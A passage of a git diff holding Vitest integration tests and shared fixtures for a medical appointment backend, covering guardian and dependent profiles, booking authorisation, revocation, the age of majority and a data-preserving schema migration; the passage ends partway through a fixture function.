availabilitySlotId: slot } })).toBe(1); - expect((await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slot } })).status).toBe('booked'); - }); - - it("revokes a guardian's access when they delete their account, keeping the dependent and the record", async () => { - const patients = await import('../../src/modules/patients/services/index.js'); - const g3 = await signupPatient('guardian-deleting'); - const created = await createDependent(g3, { fullName: 'Kept Child', dateOfBirth: '2018-03-04' }); - expect(created.status).toBe(201); - const d3 = created.body.id as string; - expect((await book(g3, { availabilitySlotId: nextSlot(), patientProfileId: d3 })).status).toBe(201); - const dependentBefore = await prisma.patientProfile.findUniqueOrThrow({ where: { id: d3 } }); - - const deleted = await request(app).delete('/patients/me').set(auth(g3)).send({ password: 'longenough123' }); - expect(deleted.status).toBe(204); - - // Revoked, not deleted: the row is the record of who had access. - const guardianship = await prisma.guardianship.findFirstOrThrow({ where: { guardianUserId: g3.userId } }); - expect(guardianship.revokedAt).not.toBeNull(); - // The dependent's own profile and history are the dependent's β€” untouched. - expect(await prisma.patientProfile.findUniqueOrThrow({ where: { id: d3 } })).toEqual(dependentBefore); - expect(await prisma.appointment.count({ where: { patientProfileId: d3 } })).toBe(1); - - // The still-valid access token acts for no one. - // Booking is refused even earlier: deletion clears the verified email. - const booking = await book(g3, { availabilitySlotId: freeSlots[0], patientProfileId: d3 }); - expect(booking.status).toBe(403); - expect(booking.body.code).toBe('EMAIL_NOT_VERIFIED'); - expect((await request(app).get(`/appointments/mine?patientProfileId=${d3}`).set(auth(g3))).status).toBe(404); - expect((await request(app).get('/patients/me/dependents').set(auth(g3))).status).toBe(404); - - // The purge keeps the guardian's tombstone while the guardianship row exists. - const later = new Date(Date.now() + 48 * 60 * 60 * 1000); - await patients.purgeDeletedPatientAccounts(later); - expect(await prisma.user.findUnique({ where: { id: g3.userId } })).not.toBeNull(); - expect(await prisma.guardianship.count({ where: { guardianUserId: g3.userId } })).toBe(1); - }); - - describe('migration', () => { - const newMigration = fs.readdirSync(MIGRATIONS_DIR).find((d) => d.endsWith('_guardian_dependent_profiles'))!; - const earlier = fs - .readdirSync(MIGRATIONS_DIR) - .filter((d) => d < newMigration && fs.existsSync(path.join(MIGRATIONS_DIR, d, 'migration.sql'))) - .sort(); - const migrationFile = (dir: string) => path.join(MIGRATIONS_DIR, dir, 'migration.sql'); - - /** A fresh database at the migration just before this one, seeded β€” - * one `prisma db execute` for all of it (each CLI spawn costs seconds). */ - async function databaseAtPreviousMigration(name: string, seedSql: string) { - await pg.createDatabase(name); - const script = [...earlier.map((dir) => fs.readFileSync(migrationFile(dir), 'utf8')), seedSql].join('\n;\n'); - dbExecute(urlFor(name), script); - return urlFor(name); - } - - async function withClient(url: string, fn: (client: Prisma) => Promise): Promise { - const { PrismaClient } = await import('@prisma/client'); - const { PrismaPg } = await import('@prisma/adapter-pg'); - // Prisma 7 (ADR 0006): the URL goes to a driver adapter, not `datasources`. - const client = new PrismaClient({ adapter: new PrismaPg({ connectionString: url }) }); - try { - return await fn(client); - } finally { - await client.$disconnect(); - } - } - - const seed = (guardianUserId: string | null) => ` - INSERT INTO "User" ("id","email","passwordHash","role","updatedAt") VALUES ('u1','u1@example.com','x','patient',NOW()); - INSERT INTO "User" ("id","email","passwordHash","role","updatedAt") VALUES ('doc','doc@example.com','x','doctor',NOW()); - INSERT INTO "PatientProfile" ("id","userId","fullName","guardianUserId","updatedAt") VALUES ('p1','u1','Existing Patient',${guardianUserId === null ? 'NULL' : `'${guardianUserId}'`},NOW()); - INSERT INTO "DoctorProfile" ("id","userId","fullName","updatedAt") VALUES ('d1','doc','Doc',NOW()); - INSERT INTO "AvailabilitySlot" ("id","doctorProfileId","status","startTime","endTime","updatedAt") VALUES ('s1','d1','booked',NOW(),NOW() + interval '30 minutes',NOW()); - INSERT INTO "Appointment" ("id","patientProfileId","doctorProfileId","availabilitySlotId","updatedAt") VALUES ('a1','p1','d1','s1',NOW()); - `; - - it('preserves existing profiles and their records', { timeout: 120_000 }, async () => { - const url = await databaseAtPreviousMigration('migration_clean', seed(null)); - dbExecuteFile(url, migrationFile(newMigration)); - await withClient(url, async (client) => { - expect(await client.patientProfile.findUniqueOrThrow({ where: { id: 'p1' } })).toMatchObject({ userId: 'u1', fullName: 'Existing Patient' }); - expect(await client.appointment.findUniqueOrThrow({ where: { id: 'a1' } })).toMatchObject({ patientProfileId: 'p1' }); - expect(await client.guardianship.count()).toBe(0); - }); - }); - - it('refuses to run, changing nothing, if legacy guardianUserId data exists', { timeout: 120_000 }, async () => { - const url = await databaseAtPreviousMigration('migration_legacy', seed('u-someone')); - expect(() => dbExecuteFile(url, migrationFile(newMigration))).toThrow(); - // The column and its value are still there for an operator to resolve, - // and nothing else from the migration was applied. - await withClient(url, async (client) => { - const legacy = await client.$queryRaw<{ guardianUserId: string }[]>`SELECT "guardianUserId" FROM "PatientProfile" WHERE "id" = 'p1'`; - expect(legacy).toEqual([{ guardianUserId: 'u-someone' }]); - const table = await client.$queryRaw<{ exists: boolean }[]>`SELECT to_regclass('"Guardianship"') IS NOT NULL AS "exists"`; - expect(table).toEqual([{ exists: false }]); - }); - }); - }); -}); +// Integration tests for guardians and dependents (Phase 8, issue #42, +// docs/adr/0011): creating and listing dependents, booking on a +// dependent's behalf, refusing someone else's dependent before anything is +// booked, revocation and age of majority, the DB constraints, the +// migration's data-preservation guard β€” and the booking concurrency +// guarantee re-proven with a guardian booking in the race. Self-contained, +// same embedded-Postgres pattern as booking.test.mts. Own port (5454). +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const MIGRATIONS_DIR = path.join(BACKEND_ROOT, 'prisma', 'migrations'); +const PORT = 5454; +const runId = Date.now(); + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-guardian-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const urlFor = (db: string) => `postgresql://docforum:docforum@localhost:${PORT}/${db}`; +const databaseUrl = urlFor('docforum_test'); + +type App = ReturnType; +type Prisma = typeof import('../../src/db/prisma-client.js').prisma; + +interface Patient { + email: string; + userId: string; + profileId: string; + token: string; +} + +const emailedTokens = new Map(); + +function yearsAgo(years: number, days = 0): string { + const now = new Date(); + const d = new Date(Date.UTC(now.getUTCFullYear() - years, now.getUTCMonth(), now.getUTCDate() - days)); + return d.toISOString().slice(0, 10); +} + +// Prisma 7 (ADR 0006) dropped `db execute --url`: the CLI reads the URL from +// prisma.config.ts, i.e. from DATABASE_URL, so the target goes in the env. +function dbExecute(url: string, sql: string) { + execFileSync('npx', ['prisma', 'db', 'execute', '--stdin'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: url }, + input: sql, + stdio: ['pipe', 'pipe', 'pipe'], + }); +} + +function dbExecuteFile(url: string, file: string) { + execFileSync('npx', ['prisma', 'db', 'execute', '--file', file], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: url }, + stdio: 'pipe', + }); +} + +describe('guardian and dependent profiles', () => { + let app: App; + let prisma: Prisma; + let doctorToken: string; + let doctorProfileId: string; + let g1: Patient; // guardian with dependents + let g2: Patient; // another guardian + let adult: Patient; // ordinary patient, no dependents + let unverified: Patient; + let d1: string; // g1's dependent + let d2: string; // g2's dependent + const freeSlots: string[] = []; + + async function signup(role: 'patient' | 'doctor', label: string, verify = true) { + const email = `${label}-${runId}@example.com`; + const res = await request(app).post('/auth/signup').send({ role, email, password: 'longenough123', fullName: `${label} Fullname` }); + expect(res.status).toBe(200); + if (verify) expect((await request(app).post('/auth/verify-email').send({ token: emailedTokens.get(email) })).status).toBe(200); + return { email, userId: res.body.user.id as string, token: res.body.accessToken as string }; + } + + async function signupPatient(label: string, verify = true): Promise { + const user = await signup('patient', label, verify); + const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { userId: user.userId } }); + return { ...user, profileId: profile.id }; + } + + const auth = (p: { token: string }) => ({ Authorization: `Bearer ${p.token}` }); + const createDependent = (p: Patient, body: object) => request(app).post('/patients/me/dependents').set(auth(p)).send(body); + const book = (p: Patient, body: object) => request(app).post('/appointments').set(auth(p)).send(body); + const nextSlot = () => { + const slot = freeSlots.shift(); + if (!slot) throw new Error('test ran out of slots'); + return slot; + }; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + process.env.DATABASE_URL = databaseUrl; + process.env.AGE_OF_MAJORITY_YEARS = '18'; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + const authServices = await import('../../src/modules/auth/services/index.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + authServices.setEmailSender(async (message) => { + const match = /[?&]token=([^&\s]+)/.exec(message.text); + if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); + }); + + const doctor = await signup('doctor', 'guardian-doctor'); + doctorToken = doctor.token; + doctorProfileId = (await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: doctor.userId } })).id; + const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); + const generated = await request(app) + .post(`/availability/doctors/${doctorProfileId}/slots/generate`) + .set('Authorization', `Bearer ${doctorToken}`) + .send({ date: tomorrow, startHour: 8, endHour: 18, slotLengthMinutes: 30 }); + expect(generated.status).toBe(201); + freeSlots.push(...((await request(app).get(`/availability/doctors/${doctorProfileId}/slots`)).body as { id: string }[]).map((s) => s.id)); + + g1 = await signupPatient('guardian-one'); + g2 = await signupPatient('guardian-two'); + adult = await signupPatient('adult'); + unverified = await signupPatient('unverified', false); + }, 180_000); + + afterAll(async () => { + const authServices = await import('../../src/modules/auth/services/index.js'); + authServices.resetEmailSender(); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('lets a patient create a dependent: a login-less profile plus a guardianship', async () => { + const res = await createDependent(g1, { fullName: 'Child One', dateOfBirth: yearsAgo(6) }); + expect(res.status).toBe(201); + expect(res.body).toMatchObject({ fullName: 'Child One', dateOfBirth: `${yearsAgo(6)}T00:00:00.000Z` }); + expect(Object.keys(res.body).sort()).toEqual(['dateOfBirth', 'fullName', 'guardianSince', 'id']); + d1 = res.body.id; + + const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { id: d1 } }); + expect(profile.userId).toBeNull(); + const guardianships = await prisma.guardianship.findMany({ where: { dependentProfileId: d1 } }); + expect(guardianships).toEqual([expect.objectContaining({ guardianUserId: g1.userId, revokedAt: null })]); + + const other = await createDependent(g2, { fullName: 'Child Two', dateOfBirth: yearsAgo(10) }); + expect(other.status).toBe(201); + d2 = other.body.id; + }); + + it('refuses unauthorised or invalid dependent creation, and never links an existing profile', async () => { + const before = await prisma.guardianship.count(); + // Linking attempts: naming an existing profile/user is rejected outright. + for (const extra of [{ patientProfileId: adult.profileId }, { userId: adult.userId }, { patientProfileId: d2 }]) { + const res = await createDependent(g1, { fullName: 'Sneaky', dateOfBirth: yearsAgo(5), ...extra }); + expect(res.status).toBe(400); + } + expect(await prisma.guardianship.count({ where: { dependentProfileId: { in: [adult.profileId, d2] }, guardianUserId: g1.userId } })).toBe(0); + + const adultDob = await createDependent(g1, { fullName: 'Grown Up', dateOfBirth: yearsAgo(18) }); + expect(adultDob.status).toBe(400); + expect(adultDob.body.code).toBe('DEPENDENT_NOT_A_MINOR'); + expect((await createDependent(g1, { fullName: 'Future', dateOfBirth: '2999-01-01' })).status).toBe(400); + expect((await createDependent(g1, { fullName: 'Bad', dateOfBirth: '2020-02-30' })).status).toBe(400); + expect((await createDependent(g1, { dateOfBirth: yearsAgo(3) })).status).toBe(400); + + const doctor = await request(app).post('/patients/me/dependents').set('Authorization', `Bearer ${doctorToken}`).send({ fullName: 'X', dateOfBirth: yearsAgo(3) }); + expect(doctor.status).toBe(403); + const unverifiedRes = await createDependent(unverified, { fullName: 'X', dateOfBirth: yearsAgo(3) }); + expect(unverifiedRes.status).toBe(403); + expect(unverifiedRes.body.code).toBe('EMAIL_NOT_VERIFIED'); + expect((await request(app).post('/patients/me/dependents').send({ fullName: 'X', dateOfBirth: yearsAgo(3) })).status).toBe(401); + + // One day short of majority is still a minor. + const almost = await createDependent(g1, { fullName: 'Almost Adult', dateOfBirth: yearsAgo(18, -1) }); + expect(almost.status).toBe(201); + expect(await prisma.guardianship.count()).toBe(before + 1); + }); + + it("lists only the caller's own active dependents", async () => { + const mine = await request(app).get('/patients/me/dependents').set(auth(g1)); + expect(mine.status).toBe(200); + expect(mine.body.map((d: { fullName: string }) => d.fullName)).toEqual(['Child One', 'Almost Adult']); + const theirs = await request(app).get('/patients/me/dependents').set(auth(g2)); + expect(theirs.body.map((d: { id: string }) => d.id)).toEqual([d2]); + expect((await request(app).get('/patients/me/dependents').set(auth(adult))).body).toEqual([]); + expect((await request(app).get('/patients/me/dependents').set('Authorization', `Bearer ${doctorToken}`)).status).toBe(403); + }); + + it('lets a guardian book for their dependent and see that appointment', async () => { + const slot = nextSlot(); + const res = await book(g1, { availabilitySlotId: slot, patientProfileId: d1 }); + expect(res.status).toBe(201); + expect(res.body.patientProfileId).toBe(d1); + + // Audit (issue #43): the guardian is the actor; the event names the + // dependent's profile the appointment was booked for. + const event = await prisma.auditEvent.findFirstOrThrow({ where: { entityType: 'Appointment', entityId: res.body.id } }); + expect(event).toMatchObject({ actorUserId: g1.userId, actorRole: 'patient', action: 'appointment.booked', toState: 'scheduled' }); + expect(event.metadata).toMatchObject({ patientProfileId: d1, availabilitySlotId: slot }); + + const dependentAppointments = await request(app).get(`/appointments/mine?patientProfileId=${d1}`).set(auth(g1)); + expect(dependentAppointments.status).toBe(200); + expect(dependentAppointments.body.map((a: { id: string }) => a.id)).toEqual([res.body.id]); + // The guardian's own list is the guardian's own history only. + const own = await request(app).get('/appointments/mine').set(auth(g1)); + expect(own.body).toEqual([]); + }); + + it("refuses another guardian's dependent, or another patient, before anything is booked", async () => { + for (const target of [d2, adult.profileId]) { + const slot = nextSlot(); + const res = await book(g1, { availabilitySlotId: slot, patientProfileId: target }); + expect(res.status).toBe(404); + // Rejected before the booking ran: the slot is still open, no appointment exists. + expect((await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slot } })).status).toBe('open'); + expect(await prisma.appointment.count({ where: { availabilitySlotId: slot } })).toBe(0); + freeSlots.unshift(slot); + } + expect((await request(app).get(`/appointments/mine?patientProfileId=${d2}`).set(auth(g1))).status).toBe(404); + expect(await prisma.appointment.count({ where: { patientProfileId: { in: [d2, adult.profileId] } } })).toBe(0); + }); + + it('keeps self-booking working, with or without naming your own profile', async () => { + const plain = await book(adult, { availabilitySlotId: nextSlot() }); + expect(plain.status).toBe(201); + expect(plain.body.patientProfileId).toBe(adult.profileId); + const named = await book(adult, { availabilitySlotId: nextSlot(), patientProfileId: adult.profileId }); + expect(named.status).toBe(201); + expect(named.body.patientProfileId).toBe(adult.profileId); + expect((await request(app).get('/appointments/mine').set(auth(adult))).body).toHaveLength(2); + }); + + it('rejects a missing, empty or unknown patientProfileId cleanly', async () => { + const slot = nextSlot(); + expect((await book(g1, { availabilitySlotId: slot, patientProfileId: '' })).status).toBe(400); + expect((await book(g1, { availabilitySlotId: slot, patientProfileId: '00000000-0000-0000-0000-000000000000' })).status).toBe(404); + expect((await book(g1, { patientProfileId: d1 })).status).toBe(400); + expect((await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slot } })).status).toBe('open'); + freeSlots.unshift(slot); + }); + + it('ends access on revocation and at the age of majority, keeping the history', async () => { + // Revoked guardianship. + const revokedChild = await createDependent(g1, { fullName: 'Revoked Child', dateOfBirth: yearsAgo(8) }); + await prisma.guardianship.updateMany({ where: { dependentProfileId: revokedChild.body.id }, data: { revokedAt: new Date() } }); + const revokedBooking = await book(g1, { availabilitySlotId: nextSlot(), patientProfileId: revokedChild.body.id }); + expect(revokedBooking.status).toBe(403); + expect(revokedBooking.body.code).toBe('GUARDIANSHIP_INACTIVE'); + + // Reaching majority: D1 (who has an appointment) turns 18. + await prisma.patientProfile.update({ where: { id: d1 }, data: { dateOfBirth: new Date(`${yearsAgo(18)}T00:00:00.000Z`) } }); + const adultBooking = await book(g1, { availabilitySlotId: nextSlot(), patientProfileId: d1 }); + expect(adultBooking.status).toBe(403); + expect(adultBooking.body.code).toBe('GUARDIANSHIP_INACTIVE'); + expect((await request(app).get(`/appointments/mine?patientProfileId=${d1}`).set(auth(g1))).status).toBe(403); + + const listed = (await request(app).get('/patients/me/dependents').set(auth(g1))).body.map((d: { id: string }) => d.id); + expect(listed).not.toContain(d1); + expect(listed).not.toContain(revokedChild.body.id); + + // Clinical history and the guardianship record are kept, not deleted. + expect(await prisma.appointment.count({ where: { patientProfileId: d1 } })).toBe(1); + expect(await prisma.guardianship.count({ where: { dependentProfileId: { in: [d1, revokedChild.body.id] } } })).toBe(2); + }); + + it('enforces the model in the database: unique pair, dependent DOB, RESTRICT', async () => { + await expect( + prisma.guardianship.create({ data: { guardianUserId: g2.userId, dependentProfileId: d2 } }), + ).rejects.toMatchObject({ code: 'P2002' }); + await expect(prisma.patientProfile.create({ data: { userId: null, fullName: 'No DOB' } })).rejects.toThrow( + /PatientProfile_dependent_has_dob/, + ); + await expect(prisma.patientProfile.delete({ where: { id: d2 } })).rejects.toThrow(/Guardianship_dependentProfileId_fkey/); + }); + + it('keeps the booking concurrency guarantee with a guardian booking in the race', async () => { + const racers = await Promise.all(Array.from({ length: 6 }, (_, i) => signupPatient(`racer-${i}`))); + const child = await createDependent(g2, { fullName: 'Race Child', dateOfBirth: yearsAgo(4) }); + expect(child.status).toBe(201); + const slot = nextSlot(); + + const responses = await Promise.all([ + book(g2, { availabilitySlotId: slot, patientProfileId: child.body.id }), + ...racers.map((racer) => book(racer, { availabilitySlotId: slot })), + ]); + expect(responses.filter((r) => r.status === 201)).toHaveLength(1); + expect(responses.filter((r) => r.status === 409)).toHaveLength(racers.length); + expect(await prisma.appointment.count({ where: { availabilitySlotId: slot } })).toBe(1); + expect((await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slot } })).status).toBe('booked'); + }); + + it("revokes a guardian's access when they delete their account, keeping the dependent and the record", async () => { + const patients = await import('../../src/modules/patients/services/index.js'); + const g3 = await signupPatient('guardian-deleting'); + const created = await createDependent(g3, { fullName: 'Kept Child', dateOfBirth: '2018-03-04' }); + expect(created.status).toBe(201); + const d3 = created.body.id as string; + expect((await book(g3, { availabilitySlotId: nextSlot(), patientProfileId: d3 })).status).toBe(201); + const dependentBefore = await prisma.patientProfile.findUniqueOrThrow({ where: { id: d3 } }); + + const deleted = await request(app).delete('/patients/me').set(auth(g3)).send({ password: 'longenough123' }); + expect(deleted.status).toBe(204); + + // Revoked, not deleted: the row is the record of who had access. + const guardianship = await prisma.guardianship.findFirstOrThrow({ where: { guardianUserId: g3.userId } }); + expect(guardianship.revokedAt).not.toBeNull(); + // The dependent's own profile and history are the dependent's β€” untouched. + expect(await prisma.patientProfile.findUniqueOrThrow({ where: { id: d3 } })).toEqual(dependentBefore); + expect(await prisma.appointment.count({ where: { patientProfileId: d3 } })).toBe(1); + + // The still-valid access token acts for no one. + // Booking is refused even earlier: deletion clears the verified email. + const booking = await book(g3, { availabilitySlotId: freeSlots[0], patientProfileId: d3 }); + expect(booking.status).toBe(403); + expect(booking.body.code).toBe('EMAIL_NOT_VERIFIED'); + expect((await request(app).get(`/appointments/mine?patientProfileId=${d3}`).set(auth(g3))).status).toBe(404); + expect((await request(app).get('/patients/me/dependents').set(auth(g3))).status).toBe(404); + + // The purge keeps the guardian's tombstone while the guardianship row exists. + const later = new Date(Date.now() + 48 * 60 * 60 * 1000); + await patients.purgeDeletedPatientAccounts(later); + expect(await prisma.user.findUnique({ where: { id: g3.userId } })).not.toBeNull(); + expect(await prisma.guardianship.count({ where: { guardianUserId: g3.userId } })).toBe(1); + }); + + describe('migration', () => { + const newMigration = fs.readdirSync(MIGRATIONS_DIR).find((d) => d.endsWith('_guardian_dependent_profiles'))!; + const earlier = fs + .readdirSync(MIGRATIONS_DIR) + .filter((d) => d < newMigration && fs.existsSync(path.join(MIGRATIONS_DIR, d, 'migration.sql'))) + .sort(); + const migrationFile = (dir: string) => path.join(MIGRATIONS_DIR, dir, 'migration.sql'); + + /** A fresh database at the migration just before this one, seeded β€” + * one `prisma db execute` for all of it (each CLI spawn costs seconds). */ + async function databaseAtPreviousMigration(name: string, seedSql: string) { + await pg.createDatabase(name); + const script = [...earlier.map((dir) => fs.readFileSync(migrationFile(dir), 'utf8')), seedSql].join('\n;\n'); + dbExecute(urlFor(name), script); + return urlFor(name); + } + + async function withClient(url: string, fn: (client: Prisma) => Promise): Promise { + const { PrismaClient } = await import('@prisma/client'); + const { PrismaPg } = await import('@prisma/adapter-pg'); + // Prisma 7 (ADR 0006): the URL goes to a driver adapter, not `datasources`. + const client = new PrismaClient({ adapter: new PrismaPg({ connectionString: url }) }); + try { + return await fn(client); + } finally { + await client.$disconnect(); + } + } + + const seed = (guardianUserId: string | null) => ` + INSERT INTO "User" ("id","email","passwordHash","role","updatedAt") VALUES ('u1','u1@example.com','x','patient',NOW()); + INSERT INTO "User" ("id","email","passwordHash","role","updatedAt") VALUES ('doc','doc@example.com','x','doctor',NOW()); + INSERT INTO "PatientProfile" ("id","userId","fullName","guardianUserId","updatedAt") VALUES ('p1','u1','Existing Patient',${guardianUserId === null ? 'NULL' : `'${guardianUserId}'`},NOW()); + INSERT INTO "DoctorProfile" ("id","userId","fullName","updatedAt") VALUES ('d1','doc','Doc',NOW()); + INSERT INTO "AvailabilitySlot" ("id","doctorProfileId","status","startTime","endTime","updatedAt") VALUES ('s1','d1','booked',NOW(),NOW() + interval '30 minutes',NOW()); + INSERT INTO "Appointment" ("id","patientProfileId","doctorProfileId","availabilitySlotId","updatedAt") VALUES ('a1','p1','d1','s1',NOW()); + `; + + it('preserves existing profiles and their records', { timeout: 120_000 }, async () => { + const url = await databaseAtPreviousMigration('migration_clean', seed(null)); + dbExecuteFile(url, migrationFile(newMigration)); + await withClient(url, async (client) => { + expect(await client.patientProfile.findUniqueOrThrow({ where: { id: 'p1' } })).toMatchObject({ userId: 'u1', fullName: 'Existing Patient' }); + expect(await client.appointment.findUniqueOrThrow({ where: { id: 'a1' } })).toMatchObject({ patientProfileId: 'p1' }); + expect(await client.guardianship.count()).toBe(0); + }); + }); + + it('refuses to run, changing nothing, if legacy guardianUserId data exists', { timeout: 120_000 }, async () => { + const url = await databaseAtPreviousMigration('migration_legacy', seed('u-someone')); + expect(() => dbExecuteFile(url, migrationFile(newMigration))).toThrow(); + // The column and its value are still there for an operator to resolve, + // and nothing else from the migration was applied. + await withClient(url, async (client) => { + const legacy = await client.$queryRaw<{ guardianUserId: string }[]>`SELECT "guardianUserId" FROM "PatientProfile" WHERE "id" = 'p1'`; + expect(legacy).toEqual([{ guardianUserId: 'u-someone' }]); + const table = await client.$queryRaw<{ exists: boolean }[]>`SELECT to_regclass('"Guardianship"') IS NOT NULL AS "exists"`; + expect(table).toEqual([{ exists: false }]); + }); + }); + }); +}); diff --git a/backend/tests/integration/helpers/fixtures.mts b/backend/tests/integration/helpers/fixtures.mts index 9ad10fdd..38335978 100644 --- a/backend/tests/integration/helpers/fixtures.mts +++ b/backend/tests/integration/helpers/fixtures.mts @@ -1,242 +1,242 @@ -// Shared fixtures for the Phase-3 referral integration tests and the -// Phase-9 end-to-end care-thread test. Each test file still owns its own -// embedded Postgres + port + app instance (see booking.test.mts for the -// pattern); this module only bundles the HTTP flows every test repeats: -// signup, verify, promote, generate slots, book, complete, consult. -// -// Fixture-only direct DB writes (specialty links, doctor verification, -// role promotion, createdAt backdating) are deliberate: the APIs those -// stand in for are other issues' scope (#23 specialty management, admin -// bootstrap CLI) and are not what these tests are proving. -import request from 'supertest'; - -type App = ReturnType; -type PrismaClient = typeof import('../../../src/db/prisma-client.js').prisma; - -export interface DoctorFixture { - userId: string; - accessToken: string; - profileId: string; - email: string; -} - -export interface PatientFixture { - userId: string; - accessToken: string; - profileId: string; - email: string; -} - -let runCounter = 0; -function nextEmail(prefix: string, runId: number) { - runCounter += 1; - return `${prefix}-${runId}-${runCounter}@example.com`; -} - -export async function installEmailCapture(emailedTokens: Map) { - const authServices = await import('../../../src/modules/auth/services/index.js'); - authServices.setEmailSender(async (message) => { - const match = /[?&]token=([^&\s]+)/.exec(message.text); - if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); - }); -} - -export async function resetEmailSenderFixture() { - const authServices = await import('../../../src/modules/auth/services/index.js'); - authServices.resetEmailSender(); -} - -async function signupAndVerify( - app: App, - emailedTokens: Map, - role: 'patient' | 'doctor', - prefix: string, - runId: number, -): Promise<{ userId: string; accessToken: string; email: string }> { - const email = nextEmail(prefix, runId); - const res = await request(app).post('/auth/signup').send({ - role, - email, - password: 'longenough123', - fullName: `Fixture ${prefix}`, - }); - if (res.status !== 200) throw new Error(`signup failed for ${email}: ${res.status} ${res.text}`); - - const token = emailedTokens.get(email); - if (!token) throw new Error(`no verification email captured for ${email}`); - const verified = await request(app).post('/auth/verify-email').send({ token }); - if (verified.status !== 200) throw new Error(`verify failed for ${email}`); - - return { userId: res.body.user.id as string, accessToken: res.body.accessToken as string, email }; -} - -/** Signup + verify + promote DoctorProfile to `verified` (+ optional - * specialty assignment), since the manual-admin verification UI and - * specialty management APIs are out of these tests' scope. */ -export async function makeDoctor( - app: App, - prisma: PrismaClient, - emailedTokens: Map, - runId: number, - options: { specialtyId?: string } = {}, -): Promise { - const base = await signupAndVerify(app, emailedTokens, 'doctor', 'doctor', runId); - const profile = await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: base.userId } }); - await prisma.doctorProfile.update({ - where: { id: profile.id }, - data: { verificationStatus: 'verified' }, - }); - if (options.specialtyId) { - await prisma.doctorSpecialty.create({ - data: { doctorProfileId: profile.id, specialtyId: options.specialtyId }, - }); - } - return { ...base, profileId: profile.id }; -} - -export async function makePatient( - app: App, - emailedTokens: Map, - runId: number, -): Promise { - const base = await signupAndVerify(app, emailedTokens, 'patient', 'patient', runId); - const profile = await prismaProfileFor(app, base.userId); - return { ...base, profileId: profile }; -} - -async function prismaProfileFor(app: App, userId: string): Promise { - void app; - const db = await import('../../../src/db/prisma-client.js'); - const profile = await db.prisma.patientProfile.findUniqueOrThrow({ where: { userId } }); - return profile.id; -} - -/** Promote-then-login: the role claim is baked into the access token, so - * a promoted admin needs a fresh login to actually act as one. */ -export async function makeAdmin( - app: App, - prisma: PrismaClient, - emailedTokens: Map, - runId: number, -): Promise<{ accessToken: string; userId: string }> { - const base = await signupAndVerify(app, emailedTokens, 'patient', 'admin', runId); - await prisma.user.update({ where: { id: base.userId }, data: { role: 'admin' } }); - const login = await request(app).post('/auth/login').send({ email: base.email, password: 'longenough123' }); - if (login.status !== 200) throw new Error(`admin login failed: ${login.status} ${login.text}`); - return { userId: base.userId, accessToken: login.body.accessToken as string }; -} - -export async function makeSpecialty(prisma: PrismaClient, name: string): Promise { - const slug = name.toLowerCase().replace(/\s+/g, '-'); - const specialty = await prisma.specialty.create({ data: { name, slug } }); - return specialty.id; -} - -/** Generate tomorrow-morning slots for a doctor and return their OPEN - * ids. Wide window (08:00–20:00, 30-min slots β†’ 24/day) on purpose: the - * booking API's listing only returns still-open slots, and several tests - * in one file consume slots of the same doctor on the same day. */ -export async function generateSlots( - app: App, - doctor: { accessToken: string; profileId: string }, - _count = 6, -): Promise { - const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); - const res = await request(app) - .post(`/availability/doctors/${doctor.profileId}/slots/generate`) - .set('Authorization', `Bearer ${doctor.accessToken}`) - .send({ date: tomorrow, startHour: 8, endHour: 20, slotLengthMinutes: 30 }); - if (res.status !== 201) throw new Error(`slot generation failed: ${res.status} ${res.text}`); - - const slots = await request(app).get(`/availability/doctors/${doctor.profileId}/slots`); - const ids = slots.body.map((slot: { id: string }) => slot.id); - if (ids.length === 0) throw new Error(`no open slots for doctor ${doctor.profileId}`); - return ids; -} - -export async function bookAppointment( - app: App, - patient: { accessToken: string }, - slotId: string, -): Promise<{ id: string }> { - const res = await request(app) - .post('/appointments') - .set('Authorization', `Bearer ${patient.accessToken}`) - .send({ availabilitySlotId: slotId }); - if (res.status !== 201) throw new Error(`booking failed: ${res.status} ${res.text}`); - return res.body as { id: string }; -} - -export async function setAppointmentStatus( - app: App, - doctor: { accessToken: string }, - appointmentId: string, - status: 'completed' | 'cancelled' | 'no_show', -) { - return request(app) - .patch(`/appointments/${appointmentId}/status`) - .set('Authorization', `Bearer ${doctor.accessToken}`) - .send({ status }); -} - -export async function createConsultation( - app: App, - doctor: { accessToken: string }, - appointmentId: string, - outcome: 'resolved' | 'referred' | 'follow_up_needed' = 'referred', -): Promise<{ id: string }> { - const res = await request(app) - .post('/consultations') - .set('Authorization', `Bearer ${doctor.accessToken}`) - .send({ appointmentId, outcome, notes: 'fixture consultation' }); - if (res.status !== 201) throw new Error(`consultation failed: ${res.status} ${res.text}`); - return res.body as { id: string }; -} - -/** The end-to-end pre-referral ritual: slots, book, complete, consult. */ -export async function consultationRitual( - app: App, - patient: PatientFixture, - doctor: DoctorFixture, -): Promise<{ appointmentId: string; consultationId: string; slotId: string }> { 